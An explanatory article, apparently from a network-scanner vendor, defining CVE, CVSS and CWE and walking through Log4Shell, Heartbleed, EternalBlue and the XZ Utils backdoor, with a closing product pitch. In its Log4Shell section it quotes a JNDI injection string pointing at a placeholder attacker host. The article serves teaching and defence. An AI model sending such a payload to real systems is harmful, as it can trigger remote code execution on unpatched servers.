What Is a CVE? Famous Vulnerabilities: Log4Shell, Heartbleed, EternalBlue, XZ Utils

Start with what a CVE number actually is, then read four historic vulnerabilities from both sides: what happened, and why.

What is a CVE?

A CVE (Common Vulnerabilities and Exposures) is a shared identifier assigned to each publicly disclosed software vulnerability. It takes the form CVE-year-number — for example CVE-2021-44228. The program is run by the US non-profit MITRE, and numbers are assigned by vendors and coordinating bodies (CNAs: CVE Numbering Authorities).

Why a shared number? If every company called the same flaw by a different name, you could never line up "is my product affected?" with "is there a patch?" A CVE number lets you cross-reference news articles, vendor advisories, vulnerability scanners, and patch information through a single key. Vulnerability scanners like MIKAGE NET also report what they find by CVE number.

CVE and CVSS are different things: a CVE is an identifier for "which vulnerability." The severity, scored 0.0–10.0, comes from a separate metric called CVSS (Common Vulnerability Scoring System). You combine them: "CVE-2021-44228 is CVSS 10.0."

Relationship to CWE

If a CVE is an "individual incident," then CWE (Common Weakness Enumeration) is a catalog of the types of weakness — "Out-of-bounds Write (CWE-787)," "SQL Injection (CWE-89)," and so on. Each CVE is classified under one or more CWEs as its root cause. All four incidents below map to a classic CWE.

Log4Shell (CVE-2021-44228)

Disclosed in December 2021, this is a vulnerability in the Java logging library Apache Log4j 2. Its CVSS was the maximum 10.0. Its enormous reach and ease of exploitation made it one of the most serious vulnerabilities in recent memory.

What went wrong

Log4j 2 had a feature ("lookups") that interpreted and expanded ${...} syntax inside strings being logged. Abusing the JNDI lookup, an attacker could get arbitrary code loaded from an external server and executed simply by causing a crafted string to be written to the log.

String sent by the attacker (e.g. in a User-Agent or chat box):
${jndi:ldap://attacker.example/a}

      ↓ the app tries to log it
      ↓ Log4j interprets ${...} as "something to expand"
      ↓ connects to the LDAP server at attacker.example
      ↓ loads and executes the Java class it returns (RCE)

The frightening part: the attacker needed no special privileges — just to get a string into somewhere that gets logged. Web form fields, HTTP headers, game chat — any path that might end up in a log was an entry point. At its core this is a form of injection (CWE-917: Expression Language Injection), where input that should be treated as "data" was interpreted as a "command."

Lesson

It shattered the assumption that "logging is a safe operation." Merely recording input somewhere can be dangerous if that input is interpreted downstream. The fix was to update Log4j and disable the lookup feature.

Heartbleed (CVE-2014-0160)

Disclosed in 2014, a vulnerability in the widely used cryptographic library OpenSSL. A bug in its implementation of the TLS/DTLS "heartbeat" extension leaked the contents of server memory to the outside.

What went wrong

The heartbeat is a keep-alive mechanism: "here's some data, send it right back." A request contains both the data to echo and its claimed length — but OpenSSL did not verify the actual length of the data sent, copying back as many bytes of memory as the request claimed.

Attacker's request:
  data   = "hi" (actually 2 bytes)
  length = claims 65535

      ↓ the server trusts the length 65535
      ↓ reads 65535 bytes starting from where "hi" sits and sends them back
      ↓ whatever memory followed "hi" (up to ~64KB) leaks out
      ↓ which can include private keys, passwords, session data

This is a textbook out-of-bounds read from a missing bounds check (CWE-125). In the formula from the previous article, it violated the memory-safety condition ∀ access a[i] : 0 ≤ i < len(a). Worst of all, the attack left no trace and wasn't recorded in server logs, so no one could tell when — or by whom — their keys had been stolen.

Lesson

It broke the basic rule of memory safety: never trust a length the other side declares without checking it. Servers worldwide were affected, forcing a simultaneous wave of key reissuance, certificate renewal, and password changes.

EternalBlue (CVE-2017-0144)

A vulnerability in the Windows file-sharing protocol SMBv1. Microsoft fixed it in the March 2017 update MS17-010, but an attack tool that later leaked was built into the ransomware WannaCry, which caused massive worldwide damage in May 2017.

What went wrong

The code handling old SMBv1 requests miscalculated a data size, so a crafted packet let an attacker write past the intended region in memory (buffer overflow, CWE-787: Out-of-bounds Write). From that foothold, arbitrary code could run without authentication.

Attacker → sends a crafted SMBv1 packet (no auth needed)
      ↓ the SMB driver miscalculates a size and writes out of bounds
      ↓ arbitrary code runs with kernel privileges
      ↓ spreads automatically to other unpatched PCs on the LAN (worm)

WannaCry spread so far because it used EternalBlue to self-propagate (worm). Once one machine was infected, it hit unpatched PCs across the same network one after another — even though the patch had been released two months before the outbreak. Slow patch adoption is what amplified the damage.

Lesson

It showed how dangerous "the patch exists but isn't applied" really is. It also exposed network-side risks: clinging to an obsolete protocol (SMBv1), and an undefended internal network where one infection spreads to everything.

The XZ Utils backdoor (CVE-2024-3094)

Uncovered in 2024, this was a deliberately planted backdoor in XZ Utils (liblzma), a compression utility used widely across Linux. Where the previous three were accidental bugs, this was a supply-chain attack — hiding malice inside a trusted component itself.

What went wrong

Over several years the attacker joined the XZ Utils project as an "enthusiastic contributor," gradually earning trust and approaching maintainer-level control. Then they slipped malicious code into the distributed release tarball only — in a form that did not appear in the public source repository.

How the malicious code was hidden:
  ・not placed in the readable source on GitHub
  ・split between a build script in the release tarball
    and binary data disguised as "test files"
  ・combined at build time and injected into liblzma

Impact:
  ・targeted sshd (the SSH server), which indirectly loads liblzma
  ・built so only an attacker with a specific key could bypass auth
  → a hard-to-notice remote-access back door

It escaped catastrophe only because a developer, suspicious that SSH logins had become slightly slower (about half a second), investigated and found it just before it reached widely used stable releases. A razor-thin piece of luck. It is classified as CWE-506 (Embedded Malicious Code).

Lesson

It showed that even with no bug in the code itself, "trust" itself can be the target. It sharply raised attention to how software is built and delivered: the guarantee that open-source "published source" matches "what is actually distributed," reproducible builds, and the risk of projects depending on a handful of maintainers.

The four incidents side by side

Name / CVETarget / type (CWE) / essence
Log4Shell
CVE-2021-44228
Apache Log4j 2 / Expression Language Injection (CWE-917)
Input that should be "data" was interpreted as a "command"
Heartbleed
CVE-2014-0160
OpenSSL / Out-of-bounds Read (CWE-125)
A declared length went unchecked, reading other people's memory
EternalBlue
CVE-2017-0144
Windows SMBv1 / Out-of-bounds Write (CWE-787)
A size miscalculation wrote out of bounds and became a worm
XZ Utils
CVE-2024-3094
XZ Utils (liblzma) / Embedded Malicious Code (CWE-506)
A supply-chain attack exploiting "trust" in a component

The first two are memory safety, Log4Shell is injection, XZ is trust itself — the point from the formalization article that "the definition of safety changes with the class" shows up directly in these real cases.

Summary

  • A CVE is a shared identifier per disclosed vulnerability (CVE-year-number). Severity numbers are CVSS; weakness types are CWE
  • Log4Shell: a logged string was interpreted as a command, leading to arbitrary code execution
  • Heartbleed: a missing length check leaked server memory, including private keys
  • EternalBlue: an SMBv1 buffer overflow was turned into a worm by WannaCry
  • XZ Utils: a backdoor planted in a component by abusing trust (supply-chain attack)
  • Check whether such known vulnerabilities remain on your own PC and network with MIKAGE NET

Any known vulnerabilities left on your network?

MIKAGE NET scans the devices on your home network for known CVEs and end-of-life models, for free.

See MIKAGE NET